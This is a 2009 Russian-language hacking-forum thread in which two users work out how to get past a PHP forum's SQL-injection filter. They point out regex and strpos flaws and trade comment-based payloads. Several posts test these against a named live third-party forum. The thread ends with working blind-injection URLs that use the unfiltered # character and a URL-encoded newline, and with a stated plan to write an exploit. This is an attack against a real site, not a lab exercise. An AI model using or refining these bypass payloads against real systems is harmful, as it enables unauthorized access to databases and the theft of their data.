
13.06.2009, 17:54
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
strpos() чувствителен к регистру UNION он не заметит.
А вот со stripos() такое не прокатит.
P.S. да и регулярка тоже чувствительна к регистру без i, т.е. они тоже проглотит UNION и ничего не заметит.
Последний раз редактировалось Grey; 13.06.2009 в 18:04..
|
|
|

13.06.2009, 18:04
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Да, но вся проблема в том, что переменная $clean изначально переводиться в нижний регистр (забыл упомянуть об этом в предыдущем посте).
Последний раз редактировалось mailbrush; 13.06.2009 в 18:07..
|
|
|

13.06.2009, 18:10
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Сообщение от mailbrush
Да, но вся проблема в том, что переменная $clean изначально переводиться в нижний регистр (забыл упомянуть об этом в предыдущем посте).
Тогда хрен что сделаешь, правда без union`a прожить можно - ведь можно и посимвольно инъекцию заюзать.
|
|
|

13.06.2009, 18:15
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Grey, ага, только трабла в том, что селект фильтрует, тобишь посимвольный вывод даных из бд (кроме информации о ней) тоже не катит.
PHP код:
// Sub selects? We don't use those either.
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
$fail = true;
Плюс еще к всему этому он фильтрует < и >, т.е. подбирать придется по очереди через =.
Сама уязвимость, если кому интересно
Код:
http://forum.antichat.ru/showpost.php?p=1328827&postcount=40
|
|
|

13.06.2009, 18:23
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
А эта регулярка уже кривая:
and (/*)*/select substring(version(),1))=4 - такое она пропустит
А что касается фильтрации < > - то можно юзать:
WHERE IN (0, 255) - по сути (вернее по скорости) тоже самое, что если юзать < >
Последний раз редактировалось Grey; 13.06.2009 в 18:46..
|
|
|

13.06.2009, 18:27
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от Grey
А эта регулярка уже кривая:
(/*)*/select) - такое она пропустит
Если бы не
PHP код:
//Comments? We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
|
|
|

13.06.2009, 18:33
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Сообщение от mailbrush
Если бы не
PHP код:
//Comments? We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
Не, а ты сразу не можешь все скопировать?
Я не телепат.
/**/and (/*)*/select substring(version(),1))=4
Ну такое к примеру прокатит, т.к. позиция первого /* будет равна 0. А strpos() ищет первое вхождение подстроки, в отличие от strrpos(), которая ищет последнее вхождение подстроки.
P.S. даже такое прокатит:
'/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть, тут позиция будет равна 1.
И такое тоже:
')/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть и скобку, тут позиция будет равна 2 (а вот 3 уже не прокатит).
Этого кстати должно хватить, получиться что то такое (к примеру):
1/**/and (/*)*/select substring(version(),1))=4
P.P.S. а на конце строке можно заюзать символ # (он тут не фильтруется) для за комментирования оставшийся части, правда при желание можно и не отбрасывать оставшуюся часть.
Последний раз редактировалось Grey; 13.06.2009 в 18:41..
|
|
|

13.06.2009, 19:43
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
|
|
|

13.06.2009, 19:45
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Сообщение от mailbrush
Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
1. А откуда берётся значение переменной $clean?
2. Ты смотришь сорцы той же версии, что и форум по линку?
P.S. а вообще тестить лучше на локалке.
Последний раз редактировалось Grey; 13.06.2009 в 19:54..
|
|
|

13.06.2009, 20:16
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Разобрался
Сорцы не смотрел, но понял, что без них сказать что то сложно (возможно фильтрация идет в квери_стринг, а может как то очень по хитрому и по этому позиция /* определяется не правильно (не так как нам нужно)), но нашел другой выход:
Пример:
условие выполняется верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=5
условие выполняется не верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=4
Вот в чем фишка # - тоже комментирует строку и его они забыли добавить в фильтр (как я уже отметил раньше), значит мы его и заюзаем.
Единственное нужно учитывать - это то, что он комментирует только 1 строку, делаем так:
id=1+and+(%23)%0Aselect+5)=4
Получается так:
id=1 and (#)
select 5)=4
т.е. получается, что часть строки (а именно та, в которой закрывающая скобка) в запросе не участвует, но служит отличной закуской для регулярки, позволяя обойти фильтр.
P.S. %23 - урл код это символа #, %0A - урл код новой строки.
P.P.S. пошел запрягать РоА на написание сплоента)
Последний раз редактировалось Grey; 13.06.2009 в 21:09..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|